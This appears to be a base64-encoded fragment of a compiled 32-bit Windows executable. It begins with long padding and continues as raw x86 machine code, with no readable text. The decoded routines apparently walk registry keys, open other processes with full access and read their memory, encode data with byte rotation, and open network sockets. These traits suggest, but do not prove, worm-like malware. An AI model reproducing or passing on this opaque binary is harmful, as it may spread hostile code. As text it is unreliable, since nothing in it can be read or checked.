AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 